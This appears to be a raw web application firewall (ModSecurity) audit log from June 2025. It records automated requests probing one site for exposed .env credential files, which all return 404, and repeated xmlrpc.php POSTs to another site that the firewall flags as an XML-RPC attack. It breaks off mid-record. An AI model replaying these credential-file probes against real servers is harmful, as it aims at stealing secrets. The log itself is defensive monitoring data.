_sfs_id=b1f5439947a9dd5cd2004ddf89e0a4781750014292; expires=Sun, 15 Jun 2025 20:04:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aad4ad52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env_bak"] [unique_id "aE8ZU1eqy5hRjKvJEAyYsAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014291702657 645975 (- - -) Stopwatch2: 1750014291702657 645975; combined=1962, p1=364, p2=1459, p3=0, p4=0, p5=138, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aad4ad52-Z-- --42d72630-A-- [16/Jun/2025:00:34:54.308021 +0530] aE8ZVVeqy5hRjKvJEAyYsQAAAAE 185.177.72.210 43884 127.0.0.1 7081 --42d72630-B-- GET /Server_with_db/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --42d72630-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4655f4e5ca846803b5f04d215d817f2f1750014294; expires=Sun, 15 Jun 2025 20:04:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --42d72630-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Server_with_db/.env"] [unique_id "aE8ZVVeqy5hRjKvJEAyYsQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014293656377 651709 (- - -) Stopwatch2: 1750014293656377 651709; combined=1588, p1=326, p2=1161, p3=0, p4=0, p5=100, sr=78, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42d72630-Z-- --ed522931-A-- [16/Jun/2025:00:34:58.429058 +0530] aE8ZWe5gkr5NYpwyzHH0TQAAAAg 185.177.72.210 44112 127.0.0.1 7081 --ed522931-B-- GET /:8880/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ed522931-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fd629d55b6ff461955ea5c9b0264f4571750014298; expires=Sun, 15 Jun 2025 20:04:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ed522931-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/staging/.env"] [unique_id "aE8ZWe5gkr5NYpwyzHH0TQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014297787273 641901 (- - -) Stopwatch2: 1750014297787273 641901; combined=1856, p1=367, p2=1378, p3=0, p4=0, p5=111, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed522931-Z-- --ac3f6e44-A-- [16/Jun/2025:00:35:10.653564 +0530] aE8ZZT3D4g1mGjVnV5KClgAAAAY 185.177.72.210 53574 127.0.0.1 7081 --ac3f6e44-B-- GET /:8443/dashboard/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ac3f6e44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b05b94ea56b104341f8627dc6bd916151750014310; expires=Sun, 15 Jun 2025 20:05:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ac3f6e44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/dashboard/.env"] [unique_id "aE8ZZT3D4g1mGjVnV5KClgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014309931826 721801 (- - -) Stopwatch2: 1750014309931826 721801; combined=1983, p1=393, p2=1489, p3=0, p4=0, p5=100, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac3f6e44-Z-- --05f35d27-A-- [16/Jun/2025:00:35:25.837866 +0530] aE8ZdO5gkr5NYpwyzHH0aAAAAAg 128.199.112.101 56208 127.0.0.1 7081 --05f35d27-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --05f35d27-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --05f35d27-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8ZdO5gkr5NYpwyzHH0aAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014324863686 974247 (- - -) Stopwatch2: 1750014324863686 974247; combined=2389, p1=403, p2=1553, p3=50, p4=71, p5=191, sr=115, sw=121, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --05f35d27-Z-- --f3458758-A-- [16/Jun/2025:00:35:26.270749 +0530] aE8ZdQW_rlaNA7qLBTs_xwAAAAs 185.177.72.210 56236 127.0.0.1 7081 --f3458758-B-- GET /:8181/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f3458758-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=50c9b5185d0c1cd0fe5af8de0132bcf01750014326; expires=Sun, 15 Jun 2025 20:05:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f3458758-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.copy"] [unique_id "aE8ZdQW_rlaNA7qLBTs_xwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014325551609 719222 (- - -) Stopwatch2: 1750014325551609 719222; combined=2040, p1=388, p2=1485, p3=0, p4=0, p5=166, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f3458758-Z-- --72081479-A-- [16/Jun/2025:00:35:32.108175 +0530] aE8Zez3D4g1mGjVnV5KCqQAAAAY 185.177.72.210 51460 127.0.0.1 7081 --72081479-B-- GET /:10000/administrateur/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --72081479-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b29c0ef45748a0e687a76a6bed500e171750014331; expires=Sun, 15 Jun 2025 20:05:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --72081479-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/administrateur/.env.production"] [unique_id "aE8Zez3D4g1mGjVnV5KCqQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014331461022 647264 (- - -) Stopwatch2: 1750014331461022 647264; combined=1737, p1=362, p2=1269, p3=0, p4=0, p5=106, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72081479-Z-- --3f83705f-A-- [16/Jun/2025:00:35:43.820380 +0530] aE8Zh5nj7pFxi-BGHz6pgQAAAAI 185.177.72.210 46706 127.0.0.1 7081 --3f83705f-B-- GET /:9000/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3f83705f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c3735343666101e600bdfb74d202512d1750014343; expires=Sun, 15 Jun 2025 20:05:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3f83705f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/example/.env"] [unique_id "aE8Zh5nj7pFxi-BGHz6pgQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014343157897 662581 (- - -) Stopwatch2: 1750014343157897 662581; combined=2099, p1=447, p2=1552, p3=0, p4=0, p5=99, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f83705f-Z-- --2a8f5530-A-- [16/Jun/2025:00:35:54.708786 +0530] aE8ZkShnDkBlcF0fkxMKlAAAAAQ 185.177.72.210 54168 127.0.0.1 7081 --2a8f5530-B-- GET /:8443/administrateur/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2a8f5530-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=220417ad7b76d0951f2e335ceafcd9131750014354; expires=Sun, 15 Jun 2025 20:05:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2a8f5530-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/administrateur/.env.staging"] [unique_id "aE8ZkShnDkBlcF0fkxMKlAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014353865278 843586 (- - -) Stopwatch2: 1750014353865278 843586; combined=1485, p1=399, p2=981, p3=0, p4=0, p5=104, sr=76, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a8f5530-Z-- --25014338-A-- [16/Jun/2025:00:35:55.735419 +0530] aE8ZkyCwfN5GtQhYhHBAUQAAAAw 185.177.72.210 54288 127.0.0.1 7081 --25014338-B-- GET /:8888/backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --25014338-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=49d24d08ad6d678154f0087bb7ddd9941750014355; expires=Sun, 15 Jun 2025 20:05:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --25014338-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/backup/.env"] [unique_id "aE8ZkyCwfN5GtQhYhHBAUQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014355072837 662647 (- - -) Stopwatch2: 1750014355072837 662647; combined=1626, p1=293, p2=1230, p3=0, p4=0, p5=102, sr=74, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --25014338-Z-- --08e1ff5b-A-- [16/Jun/2025:00:35:57.705765 +0530] aE8ZlS7MaF0j8lD2KTIUXgAAAAM 185.177.72.210 54476 127.0.0.1 7081 --08e1ff5b-B-- GET /core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --08e1ff5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7dea8ed1fe607ac9c04328a72268eb531750014357; expires=Sun, 15 Jun 2025 20:05:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --08e1ff5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/core/.env"] [unique_id "aE8ZlS7MaF0j8lD2KTIUXgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014357047107 658719 (- - -) Stopwatch2: 1750014357047107 658719; combined=1864, p1=384, p2=1393, p3=0, p4=0, p5=87, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --08e1ff5b-Z-- --51fd564f-A-- [16/Jun/2025:00:36:25.491350 +0530] aE8ZsCCwfN5GtQhYhHBAZgAAAAw 128.199.112.101 48526 127.0.0.1 7081 --51fd564f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --51fd564f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --51fd564f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8ZsCCwfN5GtQhYhHBAZgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014384512067 979339 (- - -) Stopwatch2: 1750014384512067 979339; combined=2384, p1=380, p2=1616, p3=42, p4=62, p5=179, sr=93, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51fd564f-Z-- --a5256532-A-- [16/Jun/2025:00:37:08.285310 +0530] aE8Z2wW_rlaNA7qLBTtAGQAAAAs 185.177.72.210 53352 127.0.0.1 7081 --a5256532-B-- GET /testfiles/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a5256532-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f29f3d865152af8c3db562207a2e48321750014428; expires=Sun, 15 Jun 2025 20:07:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a5256532-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/testfiles/.env"] [unique_id "aE8Z2wW_rlaNA7qLBTtAGQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014427597176 688197 (- - -) Stopwatch2: 1750014427597176 688197; combined=1748, p1=375, p2=1296, p3=0, p4=0, p5=77, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5256532-Z-- --ac53d162-A-- [16/Jun/2025:00:37:25.868577 +0530] aE8Z7Feqy5hRjKvJEAyZMQAAAAE 128.199.112.101 52568 127.0.0.1 7081 --ac53d162-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ac53d162-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ac53d162-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Z7Feqy5hRjKvJEAyZMQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014444884809 983826 (- - -) Stopwatch2: 1750014444884809 983826; combined=2076, p1=361, p2=1309, p3=40, p4=60, p5=203, sr=97, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac53d162-Z-- --44960a44-A-- [16/Jun/2025:00:37:41.561905 +0530] aE8Z_T3D4g1mGjVnV5KDEgAAAAY 13.234.226.227 59256 127.0.0.1 7081 --44960a44-B-- GET 